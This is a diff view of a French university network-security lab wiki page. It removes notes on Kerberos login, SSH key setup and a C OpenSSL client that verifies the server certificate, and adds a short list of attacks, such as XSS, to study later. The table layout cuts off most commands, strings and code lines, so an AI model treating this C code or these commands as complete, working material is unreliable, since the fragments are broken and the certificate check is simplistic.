- | Si je vire le ticket avec kdestroy, alors : | + | |
- | + | ||
- | immortal$ ssh toto@opeth | + | |
- | toto@opeth' | + | |
- | + | ||
- | Maintenant, on ferme la session, et on se connecte en tant que " | + | |
- | + | ||
- | < | + | |
- | immortal login: toto | + | |
- | Password: => ktoto (KERBEROS PASSWORD) | + | |
- | + | ||
- | Last login: Thu Dec 2 15:04:31 UTC 2010 on tty1 | + | |
- | Linux immortal 2.6.32 #2 Sat Jan 9 04:37:12 UTC 2010 i686 | + | |
- | + | ||
- | toto@immortal: | + | |
- | Ticket cache: FILE:/ | + | |
- | Default principal: toto@METAL.FR | + | |
- | + | ||
- | Valid starting | + | |
- | 12/02/10 15: | + | |
- | renew until 12/03/10 01:05:54 | + | |
- | </ | + | |
- | + | ||
- | + | ||
- | + | ||
- | ==== SSH et Progammation avec OpenSSL ==== | + | |
- | + | ||
- | ==SSH== | + | |
- | + | ||
- | On suppose que l'on dispose d'une compte USERA sur HOSTA et USERB sur HOSTB. Vous pouvez utiliser la commande Unix //adduser USERA// pour ce faire. Si Kerberos est activé, utilisez// | + | |
- | + | ||
- | Pour générer sur A une paire clef privée (.ssh/ | + | |
- | + | ||
- | USERA@HOSTA$ ssh-keygen -t dsa | + | |
- | passphrase: xxx xxx xxx xxx | + | |
- | + | ||
- | On choisira de protéger sa clef privée avec une passphrase. | + | |
- | + | ||
- | On ajoute sa clef publique dans le fichier .ssh/ | + | |
- | + | ||
- | USERB$HOSTB: | + | |
- | USERA@HOSTA$ scp .ssh/ | + | |
- | + | ||
- | ce qui peut se faire simplement en utilisant le script suivant : | + | |
- | + | ||
- | USERA@HOSTA$ ssh-copy-id USERB@HOSTB | + | |
- | + | ||
- | + | ||
- | __Nota Bene__ : cette copie avec scp (basée sur SSL comme SSH) demande le mot de passe Unix, car elle n'est encore sécurisée par nos clefs SSH. | + | |
- | + | ||
- | On peut se connecter maintenant de manière complètement sécurisée avec SSH de A vers B. | + | |
- | + | ||
- | USERA@HOSTA$ ssh USERB@HOSTB | + | |
- | passphrase: ... | + | |
- | USERB@HOSTB$ _ | + | |
- | + | ||
- | + | ||
- | Ici, on saisit la passphrase pour que le client SSH puisse décoder la clef privée. Il n'y a donc plus d' | + | |
- | + | ||
- | Notons que la connexion SSH de B vers A ne fonctionne pas pour autant, car il faut effectuer les opérations symétriques. Cependant, il n'est pas nécessaire de générer une nouvelle paire de clefs SSH, on peut réutiliser celles disponibles sur la machine A. | + | |
- | + | ||
- | USERA@HOSTA$ scp -r .ssh/ USERB@HOSTB: | + | |
- | + | ||
- | + | ||
- | == Programmation avec OpenSSL == | + | |
- | + | ||
- | Nous allons mettre en place une connexion TCP/IP (socket C) sécurisée via OpenSSL entre syl (server) et immortal (client). | + | |
- | + | ||
- | Vérifiez que le CN des certifcats de syl et immortal correspond bien aux adresses IP respectives de ces machines. | + | |
- | + | ||
- | $ certtool --certificate-info --infile pem/ | + | |
- | $ certtool --certificate-info --infile pem/ | + | |
- | + | ||
- | On compile et on lance le serveur sur syl et le client sur immortal... | + | |
- | + | ||
- | syl$ cat syl-cert.pem syl-key.pem > mycert.pem | + | |
- | syl$ ./ | + | |
- | immortal$ ./ | + | |
- | + | ||
- | Un message " | + | |
- | + | ||
- | Côté client, on peut forcer une //cypher suite// de la façon suivante : | + | |
- | + | ||
- | <code C> | + | |
- | /* set specific ciphers */ | + | |
- | const char * mycipher = " | + | |
- | // const char * mycipher = " | + | |
- | // const char * mycipher = " | + | |
- | int ret = SSL_CTX_set_cipher_list(ctx, | + | |
- | if(ret==0) | + | |
- | printf(" | + | |
- | </ | + | |
- | + | ||
- | + | ||
- | + | ||
- | Nous allons rajouté dans le code client un peu de code pour vérifier le certificat du serveur. On ne modifie pas le code serveur. | + | |
- | + | ||
- | <code C ssl-client.c> | + | |
- | + | ||
- | struct sockaddr_in addr; // cette variable devient globale | + | |
- | + | ||
- | /* ... */ | + | |
- | + | ||
- | + | ||
- | // fonction callback à ajouter | + | |
- | int verify_callback (int ok, X509_STORE_CTX *store) | + | |
- | { | + | |
- | int depth = X509_STORE_CTX_get_error_depth(store); | + | |
- | X509 *cert = X509_STORE_CTX_get_current_cert(store); | + | |
- | int err = X509_STORE_CTX_get_error(store); | + | |
- | + | ||
- | if(depth > 0) return ok; // just check server certif IP (at depth 0), else preverify " | + | |
- | + | ||
- | printf(" | + | |
- | printf(" | + | |
- | printf(" | + | |
- | printf(" | + | |
- | char data[256]; | + | |
- | X509_NAME_oneline(X509_get_issuer_name(cert), | + | |
- | printf(" | + | |
- | X509_NAME_oneline(X509_get_subject_name(cert), | + | |
- | printf(" | + | |
- | char * certifip = data+4; | + | |
- | // printf(" | + | |
- | char * serverip = inet_ntoa(addr.sin_addr); | + | |
- | // printf(" | + | |
- | + | ||
- | if (ok) { | + | |
- | if(strcmp(certifip, | + | |
- | printf(" | + | |
- | return 1; // continue verification | + | |
- | } | + | |
- | else { | + | |
- | printf(" | + | |
- | return 0; // stop verification | + | |
- | } | + | |
- | } | + | |
- | + | ||
- | return 0; // stop verification | + | |
- | } | + | |
- | + | ||
- | + | ||
- | int main(int count, char *strings[]) | + | |
- | { | + | |
- | SSL_CTX *ctx; | + | |
- | int server; | + | |
- | SSL *ssl; | + | |
- | char buf[1024]; | + | |
- | int bytes; | + | |
- | char *hostname, *portnum; | + | |
- | + | ||
- | if(count != 3) { | + | |
- | printf(" | + | |
- | exit(0); | + | |
- | } | + | |
- | SSL_library_init(); | + | |
- | hostname=strings[1]; | + | |
- | portnum=strings[2]; | + | |
- | + | ||
- | ctx = InitCTX(); | + | |
- | + | ||
- | // code à ajouter pour vérifier le certificat du serveur... | + | |
- | SSL_CTX_load_verify_locations (ctx, " | + | |
- | SSL_CTX_set_verify (ctx, SSL_VERIFY_PEER, | + | |
- | + | ||
- | server = OpenConnection(hostname, | + | |
- | ssl = SSL_new(ctx); | + | |
- | + | ||
- | /* ... */ | + | |
- | + | ||
- | } | + | |
- | </ | + | |
+ | //Quelques attaques à étudier pour un prochain TP...// | ||
+ | * [[secres: | ||
+ | * [[secres: | ||
+ | * XSS | ||
+ | * what else? | ||
+ | * https:// | ||
secres/index.txt · Last modified: 2024/03/18 15:06 by 127.0.0.1